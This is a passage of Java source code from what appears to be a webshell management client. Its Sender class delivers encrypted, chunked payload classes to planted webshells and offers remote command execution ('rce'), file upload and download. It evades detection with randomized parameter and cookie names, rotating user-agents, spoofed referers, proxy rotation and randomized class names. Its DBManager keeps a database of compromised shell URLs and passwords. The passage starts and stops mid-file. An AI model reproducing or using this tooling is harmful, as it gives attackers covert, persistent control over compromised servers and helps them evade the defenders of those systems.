domain1s[domain1Index]; 45 | String domain2 = Utils.getRandomAlpha((new Random()).nextInt(5) + 2).toLowerCase(); 46 | String domain3 = Utils.getRandomAlpha((new Random()).nextInt(5) + 2).toLowerCase(); 47 | String domain4 = Utils.getRandomAlpha((new Random()).nextInt(5) + 2).toLowerCase(); 48 | String className = Utils.getRandomAlpha((new Random()).nextInt(7) + 3); 49 | className = Utils.captureName(className); 50 | int randomSegments = (new Random()).nextInt(3) + 3;// 随机包的层数 51 | switch(randomSegments) { 52 | case 3: 53 | randomName = domain1 + "/" + domain2 + "/" + className; 54 | break; 55 | case 4: 56 | randomName = domain1 + "/" + domain2 + "/" + domain3 + "/" + className; 57 | break; 58 | default: 59 | randomName = domain1 + "/" + domain2 + "/" + domain3 + "/" + domain4 + "/" + className; 60 | break; 61 | } 62 | return randomName; 63 | } 64 | 65 | public byte[] handlePayloadData(byte[] data) { 66 | byte[] payload = data; 67 | try { 68 | payload = Crypt.encrypt(payload, key, type); 69 | } catch (Exception e) { 70 | e.printStackTrace(); 71 | } 72 | 73 | switch (reqEncode) { 74 | case "base36": 75 | payload = new BigInteger(payload).toString(36).getBytes(); 76 | break; 77 | case "hex": 78 | payload = new BigInteger(payload).toString(16).getBytes(); 79 | break; 80 | default: 81 | payload = Crypt.b64Encoder.encode(payload); 82 | break; 83 | } 84 | System.out.println("send payload size: " + String.valueOf(payload.length) + " Byte"); 85 | return payload; 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/org/b1ackc4t/sender/PayloadMethodVisitor.java: -------------------------------------------------------------------------------- 1 | package org.b1ackc4t.sender; 2 | 3 | import org.objectweb.asm.MethodVisitor; 4 | 5 | public class PayloadMethodVisitor extends MethodVisitor { 6 | private String oldClassName; 7 | private String newClassName; 8 | 9 | public PayloadMethodVisitor(int api, MethodVisitor methodVisitor, String oldClassName, String newClassName) { 10 | super(api, methodVisitor); 11 | this.oldClassName = oldClassName; 12 | this.newClassName = newClassName; 13 | } 14 | 15 | @Override 16 | public void visitFieldInsn(int opcode, String owner, String name, String descriptor) { 17 | if (this.newClassName != null) { 18 | if (owner.equals(this.oldClassName)) owner = this.newClassName; 19 | } 20 | super.visitFieldInsn(opcode, owner, name, descriptor); 21 | } 22 | 23 | @Override 24 | public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) { 25 | if (this.newClassName != null) { 26 | if (owner.equals(this.oldClassName)) owner = this.newClassName; 27 | } 28 | super.visitMethodInsn(opcode, owner, name, descriptor, isInterface); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /src/main/java/org/b1ackc4t/sender/Sender.java: -------------------------------------------------------------------------------- 1 | package org.b1ackc4t.sender; 2 | 3 | import com.alibaba.fastjson.JSONObject; 4 | 5 | import java.io.UnsupportedEncodingException; 6 | import java.math.BigInteger; 7 | import java.net.URL; 8 | import java.net.URLEncoder; 9 | import java.security.MessageDigest; 10 | import java.security.NoSuchAlgorithmException; 11 | import java.security.SecureRandom; 12 | import java.util.*; 13 | 14 | import org.b1ackc4t.util.Config; 15 | import org.b1ackc4t.util.DBManager; 16 | import org.b1ackc4t.util.Utils; 17 | 18 | public class Sender { 19 | private final String password; 20 | private final String url; 21 | private final String type; 22 | private final String key; 23 | private final String method; 24 | private final Map headers; 25 | private final List paramNames = Config.paramNames; 26 | private final List cookieNames = Config.cookieNames; 27 | private static final List useragents = Utils.readFileByLines("useragents.txt"); 28 | private static List ipAgents; 29 | private final int partNum = Config.partNum; 30 | private final int argNum = Config.argNum; 31 | private static DBManager db = DBManager.db; 32 | public String reqEncode = "base64"; 33 | public String resEncode = "base64"; 34 | 35 | static { 36 | if (Config.startIpAgents) { 37 | ipAgents = Utils.readFileByLines("ipagents.txt"); 38 | } 39 | } 40 | 41 | public Sender(String url, String password, String type, String method) { 42 | this.url = url; 43 | this.password = password; 44 | this.type = type; 45 | this.key = Sender.getKey(this.password); 46 | this.method = method; 47 | this.headers = new TreeMap<>(); 48 | } 49 | 50 | public Sender(String url, String password, String type, String method, Map headers) { 51 | this(url, password, type, method); 52 | resetUseragent(); 53 | this.headers.put("Referer", getReferer()); 54 | this.headers.putAll(headers); 55 | } 56 | 57 | private String urlEncode(byte[] data) throws UnsupportedEncodingException { 58 | return URLEncoder.encode(new String(data), "UTF-8"); 59 | } 60 | 61 | private String[] getProxyInfo() { 62 | if (Config.startIpAgents) { 63 | String proxyStr = Utils.getRandomItem(ipAgents); 64 | if (proxyStr == null) return new String[]{null, null}; 65 | String[] r = proxyStr.split(";", 2); 66 | if (r.length == 1 || r[1].equals("")) { 67 | return new String[]{r[0], null}; 68 | } else { 69 | return r; 70 | } 71 | } 72 | return new String[]{null, null}; 73 | } 74 | 75 | private int getEncodeFlag() { 76 | switch (resEncode) { 77 | case "raw": 78 | return 0; 79 | case "hex": 80 | return 1; 81 | case "base36": 82 | return 2; 83 | default: 84 | return 3; 85 | } 86 | } 87 | 88 | /** 89 | * 向服务端发送请求 90 | * @param data 91 | * @return 92 | */ 93 | private Map sendRequest(byte[] data) { 94 | if (Config.startRandomUserAgent) resetUseragent(); 95 | String[] proxy = getProxyInfo(); 96 | try { 97 | if (method.equalsIgnoreCase("get")) { 98 | Map params = new LinkedHashMap<>(); 99 | byte[][] data_parts = Utils.splitBytes(data, argNum); 100 | Collections.shuffle(paramNames); 101 | for (int i = 0; i < argNum; ++i) { 102 | params.put(paramNames.get(i), urlEncode(data_parts[i])); 103 | } 104 | return Utils.sendGetRequest(url, headers, params, proxy[0], proxy[1]); 105 | } else if (method.equalsIgnoreCase("post")) { 106 | Map params = new LinkedHashMap<>(); 107 | byte[][] data_parts = Utils.splitBytes(data, argNum); 108 | Collections.shuffle(paramNames); 109 | for (int i = 0; i < argNum; ++i) { 110 | params.put(paramNames.get(i), urlEncode(data_parts[i])); 111 | } 112 | return Utils.sendPostRequest(url, headers, params); 113 | } else if (method.equalsIgnoreCase("mixed")) { 114 | Map getParams = new LinkedHashMap<>(); 115 | Map params = new LinkedHashMap<>(); 116 | byte[][] data_parts = Utils.splitBytes(data, argNum); 117 | int f = new Random().nextInt(data_parts.length); 118 | Collections.shuffle(paramNames); 119 | for (int i = 0; i < f; ++i) { 120 | getParams.put(paramNames.get(i), urlEncode(data_parts[i])); 121 | } 122 | String tmpUrl = String.format("%s?%s", url, Utils.getUrlParamsByMap(getParams)); 123 | for (int i = f; i < argNum; ++i) { 124 | params.put(paramNames.get(i), urlEncode(data_parts[i])); 125 | } 126 | return Utils.sendPostRequest(tmpUrl, headers, params); 127 | 128 | } else if (method.equalsIgnoreCase("cookie")) { 129 | Map params = new LinkedHashMap<>(); 130 | byte[][] data_parts = Utils.splitBytes(data, argNum); 131 | Collections.shuffle(cookieNames); 132 | for (int i = 0; i < argNum; ++i) { 133 | params.put(cookieNames.get(i), urlEncode(data_parts[i])); 134 | } 135 | Map tmpHeaders = new LinkedHashMap<>(headers); 136 | String cookieStr = Utils.getCookieByMap(params); 137 | if (null != headers.get("Cookie")) { 138 | tmpHeaders.put("Cookie", headers.get("Cookie") + ";" + cookieStr); 139 | } else { 140 | tmpHeaders.put("Cookie", cookieStr); 141 | } 142 | return Utils.sendGetRequest(url, tmpHeaders, null, proxy[0], proxy[1]); 143 | } 144 | } catch (UnsupportedEncodingException e) { 145 | e.printStackTrace(); 146 | } 147 | return null; 148 | } 149 | 150 | /** 151 | * 刷新user-agent 152 | */ 153 | private void resetUseragent() { 154 | String r = Utils.getRandomItem(useragents); 155 | if (r != null) headers.put("User-Agent", r); 156 | } 157 | 158 | /** 159 | * 获取上一级目录URL作为referer 160 | * @return 请求的referer 161 | */ 162 | public String getReferer() { 163 | URL u; 164 | try { 165 | u = new URL(this.url); 166 | String oldPath = u.getPath(); 167 | if (oldPath.equals("")) { 168 | return this.url; 169 | } else { 170 | int lastSlash = oldPath.lastIndexOf('/'); 171 | String newPath = oldPath.substring(0, lastSlash); 172 | URL newU = new URL(u.getProtocol(), u.getHost(), u.getPort(), newPath); 173 | return newU.toString(); 174 | } 175 | } catch (Exception e) { 176 | return this.url; 177 | } 178 | } 179 | 180 | 181 | /** 182 | * @description 生成加密算法的密钥 183 | * @param password 184 | * @return java.lang.String 185 | */ 186 | public static String getKey(String password) { 187 | if (password != null && password.length() != 0) { 188 | MessageDigest md5 = null; 189 | StringBuilder md5_code = null; 190 | try { 191 | md5 = MessageDigest.getInstance("MD5"); 192 | md5.update(password.getBytes()); 193 | byte[] ba = md5.digest(); 194 | md5_code = new StringBuilder(new BigInteger(1, ba).toString(16)); 195 | for (int i = 0; i < 32 - md5_code.length(); ++i) { 196 | md5_code.insert(0, "0"); 197 | } 198 | } catch (NoSuchAlgorithmException e) { 199 | e.printStackTrace(); 200 | } 201 | assert md5_code != null; 202 | return md5_code.substring(0, 16); 203 | } else { 204 | return null; 205 | } 206 | } 207 | 208 | private byte[] resDecodeFun(byte[] data) { 209 | switch (resEncode) { 210 | case "raw": 211 | return data; 212 | case "hex": 213 | return new BigInteger(new String(data), 16).toByteArray(); 214 | case "base36": 215 | return new BigInteger(new String(data), 36).toByteArray(); 216 | default: 217 | return Crypt.b64Decoder.decode(data); 218 | } 219 | } 220 | 221 | private JSONObject attack(String className, Map params, String command) { 222 | Map result = null; 223 | boolean firstFlag = false; 224 | PayloadGenerator pg = new PayloadGenerator(type, key, reqEncode, resEncode); 225 | try { 226 | if (db.getClassLoadStatus(url, className) == 1) { 227 | String clsName = db.getClassLoadName(url, className); 228 | byte[] payload = String.format("%s@%s", clsName, command).getBytes(); 229 | result = sendRequest(pg.handlePayloadData(payload)); 230 | } else { 231 | firstFlag = true; 232 | byte[] payload = pg.getClassData(className, params); 233 | byte[][] payloads = Utils.splitBytes(payload, partNum); 234 | for (byte[] part : payloads) { // 进行分块发包 235 | result = sendRequest(pg.handlePayloadData(part)); 236 | if (result.get("status").equals(200)) { // 把cookie设置一下 237 | Map response_header = (Map) result.get("headers"); 238 | String c = Utils.getCookieBySetCookie(response_header); 239 | if (null != c) { 240 | headers.put("Cookie", c); 241 | } 242 | } 243 | } 244 | } 245 | JSONObject resultJson = new JSONObject(); // 最后返回的结果 246 | assert result != null; 247 | if (result.get("status").equals(200)) { 248 | byte[] resData = (byte[])(result.get("data")); // 拿到响应体内容 249 | byte[] mData = Crypt.decrypt(resDecodeFun(resData), key, type); // 解码解密获取明文 250 | if (mData[0] == 49 && mData[1] == 64) { 251 | byte[] rightData = new byte[mData.length - 2]; 252 | System.arraycopy(mData, 2, rightData, 0, rightData.length); 253 | resultJson.put("status", "c3VjY2Vzcw=="); 254 | resultJson.put("msg", new String(Crypt.b64Encoder.encode(rightData))); 255 | } else { 256 | resultJson.put("status", "ZmFpbA=="); 257 | resultJson.put("msg", new String(Crypt.b64Encoder.encode(resData))); 258 | return resultJson; 259 | } 260 | if (firstFlag) { 261 | db.setClassLoadStatus(url, className, pg.newClassName.replace('/', '.')); 262 | } 263 | } else { 264 | resultJson.put("status", "ZmFpbA=="); 265 | resultJson.put("msg", new String(Crypt.b64Encoder.encode(String.valueOf(result.get("status")).getBytes()))); 266 | } 267 | return resultJson; 268 | 269 | } catch (Exception e) { 270 | e.printStackTrace(); 271 | } 272 | return null; 273 | } 274 | 275 | /** 276 | * @description 测试连接是否成功 277 | * @return boolean 278 | */ 279 | public boolean testCon() { 280 | 281 | String content; 282 | JSONObject result; 283 | int randStringLength; 284 | randStringLength = (new SecureRandom()).nextInt(15) + 5; 285 | content = Utils.getRandomString(randStringLength); 286 | 287 | if (type.equals("java")) { 288 | result = print(content); 289 | if (result.getString("status").equals("c3VjY2Vzcw==")) { 290 | return new String(Crypt.b64Decoder.decode(result.getString("msg"))).equals(content); 291 | } else { 292 | System.out.printf("fail! message: %s%n", new String(Crypt.b64Decoder.decode(result.getString("msg")))); 293 | return false; 294 | } 295 | } 296 | return false; 297 | 298 | } 299 | 300 | /** 301 | * @description 打印 302 | * @param content 要打印的字符串 303 | * @return org.json.JSONObject 304 | */ 305 | public JSONObject print(String content) { 306 | Map params = new HashMap<>(); 307 | params.put("content", content); 308 | params.put("key", key); 309 | params.put("encode", getEncodeFlag()); 310 | return attack("Print", params, content); 311 | } 312 | 313 | /** 314 | * @description 任意命令执行 315 | * @param cmd 执行的命令 316 | * @return org.json.JSONObject 317 | */ 318 | public JSONObject rce(String cmd) { 319 | Map params = new HashMap<>(); 320 | params.put("cmd", cmd); 321 | params.put("key", key); 322 | params.put("encode", getEncodeFlag()); 323 | return attack("Rce", params, cmd); 324 | } 325 | 326 | /** 327 | * @description 上传文件到服务端 328 | * @param remote_path 远程上传位置 329 | * @param local_path 要上传的本地文件位置 330 | * @return org.json.JSONObject 331 | */ 332 | public JSONObject upload(String local_path, String remote_path) { 333 | Map params = new HashMap<>(); 334 | byte[] file_content = Utils.getFileContent(local_path); 335 | String content = new String(Crypt.b64Encoder.encode(file_content)); 336 | params.put("path", remote_path); 337 | params.put("content", content); 338 | params.put("key", key); 339 | params.put("encode", getEncodeFlag()); 340 | return attack("Upload", params, String.format("%s;%s", remote_path, content)); 341 | 342 | } 343 | 344 | public JSONObject download(String remote_path) { 345 | Map params = new HashMap<>(); 346 | params.put("path", remote_path); 347 | params.put("key", key); 348 | params.put("encode", getEncodeFlag()); 349 | return attack("Download", params, remote_path); 350 | } 351 | 352 | } 353 | -------------------------------------------------------------------------------- /src/main/java/org/b1ackc4t/util/Cmd.java: -------------------------------------------------------------------------------- 1 | package org.b1ackc4t.util; 2 | 3 | 4 | import java.io.InputStream; 5 | import java.io.OutputStream; 6 | import java.lang.reflect.InvocationTargetException; 7 | import java.lang.reflect.Method; 8 | import java.util.LinkedList; 9 | import java.util.Map; 10 | import java.util.Queue; 11 | import java.util.Scanner; 12 | 13 | public class Cmd { 14 | 15 | public String prompt; 16 | private InputStream stdin; 17 | private OutputStream stdout; 18 | private Queue cmdQueue; 19 | 20 | public Cmd(InputStream stdin, OutputStream stdout) { 21 | this.stdin = stdin; 22 | this.stdout = stdout; 23 | this.prompt = "(cmd) "; 24 | this.cmdQueue = new LinkedList(); 25 | 26 | } 27 | 28 | public Cmd() { 29 | this.stdin = System.in; 30 | this.stdout = System.out; 31 | this.prompt = "(cmd) "; 32 | this.cmdQueue = new LinkedList(); 33 | } 34 | 35 | // 开启循环之前调用 36 | private void preLoop() { 37 | 38 | } 39 | 40 | private void postLoop() { 41 | 42 | } 43 | 44 | // 每次循环前调用 45 | public boolean preCmd(Command command) { 46 | return false; 47 | } 48 | 49 | private boolean oneCmd(Command command) { 50 | 51 | boolean stop = false; 52 | try { 53 | Method m = this.getClass().getMethod("do" + command.getCmd(), String[].class, Map.class); 54 | stop = (boolean) m.invoke(this, command.getArgs(), command.getKwargs()); 55 | } catch (NoSuchMethodException e) { 56 | System.out.println(command.getCmd() + ": command not found"); 57 | } catch (InvocationTargetException e) { 58 | e.printStackTrace(); 59 | } catch (IllegalAccessException e) { 60 | e.printStackTrace(); 61 | } 62 | return stop; 63 | } 64 | 65 | private void postCmd(Command command) { 66 | 67 | } 68 | 69 | public void cmdLoop() { 70 | preLoop(); 71 | boolean stop = false; 72 | boolean jmp = false; 73 | Scanner sc = new Scanner(System.in); 74 | while (!stop) { 75 | System.out.format(Config.getPColor("%s"), prompt); 76 | String temp_s = sc.nextLine(); 77 | if (temp_s.equals("")) continue; 78 | Command command = new Command(temp_s); 79 | jmp = preCmd(command); 80 | if (jmp) continue; 81 | stop = oneCmd(command); 82 | postCmd(command); 83 | } 84 | postLoop(); 85 | 86 | } 87 | 88 | public boolean doHelp(String[] args, Map kwargs) { 89 | System.out.println("[command] [options]"); 90 | return false; 91 | } 92 | 93 | public boolean doExit(String[] args, Map kwargs) { 94 | return true; 95 | } 96 | 97 | } 98 | -------------------------------------------------------------------------------- /src/main/java/org/b1ackc4t/util/Command.java: -------------------------------------------------------------------------------- 1 | package org.b1ackc4t.util; 2 | 3 | import java.util.HashMap; 4 | import java.util.Map; 5 | 6 | import static java.lang.System.arraycopy; 7 | import java.util.regex.*; 8 | 9 | public class Command { 10 | private String cmd; 11 | private String[] args; 12 | private Map kwargs; 13 | private String raw; 14 | 15 | public Command(String s) { 16 | raw = new String(s); 17 | kwargs = new HashMap<>(); 18 | Pattern p = Pattern.compile("(\\w+)\\s*=\\s*(\\S+|\"\\S*?\")"); 19 | Matcher m = p.matcher(raw); 20 | while (m.find()) { 21 | kwargs.put(m.group(1).toLowerCase(), m.group(2).replace("\"", "")); 22 | } 23 | s = s.replaceAll("(\\w+)\\s*=\\s*(\\S+|\"\\S*?\")", ""); 24 | String[] cmdArgs = s.split("\\s+"); 25 | if (cmdArgs.length > 0) { 26 | char[] cs = cmdArgs[0].toLowerCase().toCharArray(); 27 | if (cs[0] >= 97 && cs[0] <= 122) { 28 | cs[0] -= 32; 29 | } 30 | this.cmd = String.valueOf(cs); 31 | if (cmdArgs.length > 1) { 32 | args = new String[cmdArgs.length - 1]; 33 | arraycopy(cmdArgs, 1, args, 0, cmdArgs.length - 1); 34 | 35 | } 36 | } 37 | } 38 | 39 | public String getArg(int index) { 40 | return (index >= 0 && index < this.args.length) ? this.args[index] : ""; 41 | } 42 | 43 | public String[] getArgs() { return this.args; } 44 | 45 | public int getArgNum() { 46 | return this.args.length; 47 | } 48 | 49 | public String getCmd() { 50 | return this.cmd; 51 | } 52 | 53 | public String getRaw() { 54 | return this.raw; 55 | } 56 | 57 | public Map getKwargs() { return this.kwargs; } 58 | } 59 | -------------------------------------------------------------------------------- /src/main/java/org/b1ackc4t/util/Config.java: -------------------------------------------------------------------------------- 1 | package org.b1ackc4t.util; 2 | 3 | import com.alibaba.fastjson.JSON; 4 | import com.alibaba.fastjson.JSONObject; 5 | 6 | 7 | import java.io.File; 8 | import java.util.*; 9 | 10 | public class Config { 11 | public static Map headers = new HashMap<>(); 12 | public static List paramNames; 13 | public static List cookieNames; 14 | public static int partNum; 15 | public static int argNum; 16 | public static boolean startRandomUserAgent; 17 | public static boolean startIpAgents; 18 | public static boolean startColor; 19 | 20 | static { 21 | JSONObject config = null; 22 | try { 23 | config = JSON.parseObject(Utils.readJsonFile(new File("config.json"))); 24 | } catch (Exception e) { 25 | e.printStackTrace(); 26 | } 27 | if (config != null) { 28 | if (config.get("headers") != null) { 29 | headers.putAll((Map) config.get("headers")); 30 | } 31 | if (config.get("paramNames") != null) { 32 | paramNames = (List) config.get("paramNames"); 33 | } else { 34 | paramNames = Arrays.asList("user", "file", "id", "eid", "wd", "ie", "oq", "name", "son"); 35 | } 36 | 37 | if (config.get("cookieNames") != null) { 38 | cookieNames = (List) config.get("cookieNames"); 39 | } else { 40 | cookieNames = Arrays.asList("fid", "uuid", "eid", "home", "ief", "fl", "oop"); 41 | } 42 | 43 | partNum = config.get("partNum") != null ? config.getIntValue("partNum") : 3; 44 | argNum = config.get("argNum") != null ? config.getIntValue("argNum") : 5; 45 | startRandomUserAgent = config.get("startRandomUserAgent") != null ? config.getBoolean("startRandomUserAgent") : false; 46 | startIpAgents = config.get("startIpAgents") != null ? config.getBoolean("startIpAgents") : false; 47 | startColor = config.get("startColor") != null ? config.getBoolean("startColor") : true; 48 | } 49 | 50 | } 51 | 52 | public static String getYColor(String s) { 53 | if (startColor) { 54 | return "\33[33;1m" + s + "\33[0m"; 55 | } 56 | return s; 57 | } 58 | 59 | public static String getPColor(String s) { 60 | if (startColor) { 61 | return "\33[35;1m" + s + "\33[0m"; 62 | } 63 | return s; 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /src/main/java/org/b1ackc4t/util/DBManager.java: -------------------------------------------------------------------------------- 1 | package org.b1ackc4t.util; 2 | 3 | import java.sql.*; 4 | import java.util.ArrayList; 5 | import java.util.List; 6 | 7 | public class DBManager { 8 | 9 | public static DBManager db; 10 | 11 | static { 12 | try { 13 | db = new DBManager("webshelldb.db"); 14 | } catch (ClassNotFoundException | SQLException e) { 15 | e.printStackTrace(); 16 | } 17 | } 18 | 19 | private Connection connection; 20 | private Statement statement; 21 | private PreparedStatement preparedStatement; 22 | private ResultSet resultSet; 23 | private String dbFilePath; 24 | private final String[] payloadNames = new String[]{"Print", "Download", "Rce", "Upload"}; 25 | 26 | private DBManager(String dbFilePath) throws ClassNotFoundException, SQLException { 27 | this.dbFilePath = dbFilePath; 28 | connection = getConnection(); 29 | this.creatTable(); 30 | } 31 | 32 | private Connection getConnection() { 33 | Connection conn = null; 34 | try { 35 | Class.forName("org.sqlite.JDBC"); 36 | conn = DriverManager.getConnection("jdbc:sqlite:" + dbFilePath); 37 | } catch (ClassNotFoundException | SQLException e) { 38 | e.printStackTrace(); 39 | } 40 | return conn; 41 | } 42 | 43 | public void addWebshell(String url, String pass, String type, String method,String reqEncode, String resEncode, String note) throws ClassNotFoundException, SQLException { 44 | Integer ID = getEndID(); 45 | connection = getConnection(); 46 | String sql = "INSERT INTO ShellData (ID,URL,pass,type,method,reqencode,resencode,status,note) " + 47 | "VALUES (?,?,?,?,?,?,?,?,?);"; 48 | preparedStatement = connection.prepareStatement(sql); 49 | preparedStatement.setInt(1,ID+1); 50 | preparedStatement.setString(2,url); 51 | preparedStatement.setString(3,pass); 52 | preparedStatement.setString(4,type); 53 | preparedStatement.setString(5,method); 54 | preparedStatement.setString(6,reqEncode); 55 | preparedStatement.setString(7,resEncode); 56 | preparedStatement.setInt(8,0); 57 | preparedStatement.setString(9,note); 58 | preparedStatement.addBatch(); 59 | preparedStatement.executeBatch(); 60 | preparedStatement.close(); 61 | for (String payloadName : payloadNames) { 62 | String sql2 = "INSERT INTO ClassLoadInfo (ID, URL, payloadname, classname, status) " + 63 | "VALUES (?, ?, ?, ?, ?);"; 64 | preparedStatement = connection.prepareStatement(sql2); 65 | preparedStatement.setInt(1, ID+1); 66 | preparedStatement.setString(2, url); 67 | preparedStatement.setString(3, payloadName); 68 | preparedStatement.setString(4, ""); 69 | preparedStatement.setInt(5, 0); 70 | preparedStatement.addBatch(); 71 | preparedStatement.executeBatch(); 72 | preparedStatement.close(); 73 | } 74 | destroyed(); 75 | } 76 | 77 | 78 | public int getEndID() { 79 | connection = getConnection(); 80 | int rowCount = 0; 81 | try { 82 | statement = connection.createStatement(); 83 | String sql = "SELECT Count(*) FROM ShellData"; 84 | resultSet = statement.executeQuery(sql); 85 | rowCount = 0; 86 | while(resultSet.next()) { 87 | rowCount = resultSet.getInt(1); 88 | } 89 | } catch (SQLException e) { 90 | e.printStackTrace(); 91 | } finally { 92 | destroyed(); 93 | } 94 | return rowCount; 95 | } 96 | 97 | public void showAll()throws ClassNotFoundException, SQLException { 98 | connection = getConnection(); 99 | statement = connection.createStatement(); 100 | resultSet = statement.executeQuery("select * from ShellData");//查询此表的数据 101 | ResultSetMetaData meta = resultSet.getMetaData(); 102 | int count = meta.getColumnCount(); 103 | List> result = new ArrayList<>(); 104 | int[] len = new int[count - 1]; 105 | List head = new ArrayList<>(); 106 | for (int i = 1; i <= count - 1; ++i) { 107 | head.add(meta.getColumnName(i)); 108 | } 109 | result.add(head); 110 | while (resultSet.next()) {//获取此表数据 111 | List row = new ArrayList<>(); 112 | for (int i = 1; i <= count - 1; ++i) { 113 | row.add(resultSet.getString(i)); 114 | if (resultSet.getString(i).length() > len[i - 1]) len[i - 1] = resultSet.getString(i).length(); 115 | } 116 | result.add(row); 117 | } 118 | String[] formats = new String[]{"|%-"+Math.max(2, len[0])+"s", "|%-"+Math.max(25, len[1]+1)+"s", "|%-"+Math.max(10, len[2]+1)+"s", "|%-"+Math.max(4, len[3]+1)+"s", "|%-"+Math.max(8, len[4]+1)+"s", "|%-"+Math.max(9, len[5]+1)+"s", "|%-"+Math.max(9, len[6]+1)+"s", "|%-"+Math.max(6, len[7]+1)+"s|"}; 119 | for (List row : result) { 120 | for (int i = 0; i < formats.length; ++i) { 121 | System.out.printf(formats[i], row.get(i)); 122 | } 123 | System.out.println(); 124 | } 125 | destroyed(); 126 | } 127 | 128 | public boolean updateWebshell(Integer ID)throws SQLException{ 129 | connection = getConnection(); 130 | String sql = "update ShellData set ID = ID-1 where ID >?"; 131 | preparedStatement = connection.prepareStatement(sql); 132 | preparedStatement.setInt(1,ID); 133 | preparedStatement.executeUpdate(); 134 | destroyed(); 135 | return false; 136 | } 137 | 138 | public void deleteWebShell(Integer ID)throws ClassNotFoundException, SQLException{ 139 | connection = getConnection(); 140 | String delsql = "DELETE from ShellData where ID=?"; 141 | String sql = "update ShellData set ID = ID-1 where ID >?"; 142 | preparedStatement = connection.prepareStatement(delsql); 143 | preparedStatement.setInt(1,ID); 144 | preparedStatement.executeUpdate(); 145 | preparedStatement.close(); 146 | preparedStatement = connection.prepareStatement(sql); 147 | preparedStatement.setInt(1,ID); 148 | preparedStatement.executeUpdate(); 149 | preparedStatement.close(); 150 | 151 | String delsql2 = "DELETE from ClassLoadInfo where ID=?"; 152 | String sql2 = "update ClassLoadInfo set ID = ID-1 where ID >?"; 153 | preparedStatement = connection.prepareStatement(delsql2); 154 | preparedStatement.setInt(1,ID); 155 | preparedStatement.executeUpdate(); 156 | preparedStatement.close(); 157 | preparedStatement = connection.prepareStatement(sql2); 158 | preparedStatement.setInt(1,ID); 159 | preparedStatement.executeUpdate(); 160 | destroyed(); 161 | } 162 | 163 | 164 | public void setClassLoadStatus(String URL, String payloadName, String className) throws SQLException { 165 | connection = getConnection(); 166 | String sql = "update ClassLoadInfo set classname=?, status=1 where URL=? and payloadname=?"; 167 | preparedStatement = connection.prepareStatement(sql); 168 | preparedStatement.setString(1, className); 169 | preparedStatement.setString(2, URL); 170 | preparedStatement.setString(3, payloadName); 171 | preparedStatement.executeUpdate(); 172 | destroyed(); 173 | 174 | } 175 | 176 | public int getClassLoadStatus(String URL, String payloadName) { 177 | connection = getConnection(); 178 | preparedStatement = null; 179 | String sql = "select status from ClassLoadInfo where URL=? and payloadname=?"; 180 | try { 181 | int t = 0; 182 | preparedStatement = connection.prepareStatement(sql); 183 | preparedStatement.setString(1,URL); 184 | preparedStatement.setString(2,payloadName); 185 | resultSet = preparedStatement.executeQuery(); 186 | if (resultSet.next()) { 187 | t = resultSet.getInt("status"); 188 | } 189 | return t; 190 | } catch (SQLException e) { 191 | e.printStackTrace(); 192 | } finally { 193 | destroyed(); 194 | } 195 | return 0; 196 | } 197 | 198 | public String getClassLoadName(String URL, String payloadName) throws SQLException { 199 | connection = getConnection(); 200 | String sql = "select classname from ClassLoadInfo where URL=? and payloadname=?"; 201 | String clsName = null; 202 | preparedStatement = connection.prepareStatement(sql); 203 | preparedStatement.setString(1,URL); 204 | preparedStatement.setString(2,payloadName); 205 | resultSet = preparedStatement.executeQuery(); 206 | if (resultSet.next()) { 207 | clsName = resultSet.getString("classname"); 208 | } 209 | destroyed(); 210 | return clsName; 211 | } 212 | 213 | private void creatTable() throws SQLException { 214 | connection = getConnection(); 215 | statement = connection.createStatement(); 216 | String sql1 = "CREATE TABLE IF NOT EXISTS ShellData" + 217 | "(ID INT NOT NULL," + 218 | " URL TEXT PRIMARY KEY NOT NULL, " + 219 | " pass TEXT NOT NULL, " + 220 | " type TEXT NOT NULL, " + 221 | " method TEXT NOT NULL, " + 222 | " reqencode TEXT NOT NULL, " + 223 | " resencode TEXT NOT NULL, " + 224 | " status TEXT NOT NULL, " + 225 | " note TEXT);"; 226 | 227 | String sql2 = "CREATE TABLE IF NOT EXISTS ClassLoadInfo" + 228 | "(ID INT NOT NULL," + 229 | " URL TEXT NOT NULL, " + 230 | " payloadname TEXT NOT NULL, " + 231 | " classname TEXT NOT NULL, " + 232 | " status INT NOT NULL" + 233 | ");"; 234 | statement.executeUpdate(sql1); 235 | statement.executeUpdate(sql2); 236 | destroyed(); 237 | } 238 | 239 | public void resetClassInfo(int ID) { 240 | connection = getConnection(); 241 | String sql = "update ClassLoadInfo set status=0 where ID=?"; 242 | try { 243 | preparedStatement = connection.prepareStatement(sql); 244 | preparedStatement.setInt(1, ID); 245 | preparedStatement.executeUpdate(); 246 | } catch (SQLException e) { 247 | e.printStackTrace(); 248 | } finally { 249 | destroyed(); 250 | } 251 | 252 | } 253 | 254 | public String[] getShellInfo(int ID){ 255 | connection = getConnection(); 256 | preparedStatement = null; 257 | resultSet = null; 258 | try{ 259 | String sql = "select * from ShellData where id = ?"; 260 | preparedStatement = connection.prepareStatement(sql); 261 | preparedStatement.setInt(1,ID); 262 | resultSet = preparedStatement.executeQuery(); 263 | String[] info = new String[6]; 264 | while (resultSet.next()) { 265 | info[0] = resultSet.getString("url"); 266 | info[1] = resultSet.getString("pass"); 267 | info[2] = resultSet.getString("type"); 268 | info[3] = resultSet.getString("method"); 269 | info[4] = resultSet.getString("reqencode"); 270 | info[5] = resultSet.getString("resencode"); 271 | } 272 | return info; 273 | } catch (SQLException e) { 274 | e.printStackTrace(); 275 | } finally { 276 | destroyed(); 277 | } 278 | return null; 279 | } 280 | 281 | public boolean changeShell(Integer ID, String key, String value){ 282 | connection = getConnection(); 283 | try { 284 | String sql = "update ShellData set " + key+ " = ? where id = ?"; 285 | preparedStatement = connection.prepareStatement(sql); 286 | // preparedStatement.setString(1,key); 287 | preparedStatement.setString(1,value); 288 | preparedStatement.setInt(2,ID); 289 | preparedStatement.executeUpdate(); 290 | return true; 291 | 292 | } catch (SQLException e) { 293 | e.printStackTrace(); 294 | return false; 295 | } finally { 296 | destroyed(); 297 | } 298 | 299 | } 300 | 301 | public boolean isExist(String url) { 302 | connection = getConnection(); 303 | try { 304 | String sql = "select ID from ShellData where URL = ?"; 305 | preparedStatement = connection.prepareStatement(sql); 306 | preparedStatement.setString(1, url); 307 | resultSet = preparedStatement.executeQuery(); 308 | if (resultSet.next()) { 309 | return true; 310 | } 311 | } catch (SQLException e) { 312 | e.printStackTrace(); 313 | return false; 314 | } finally { 315 | destroyed(); 316 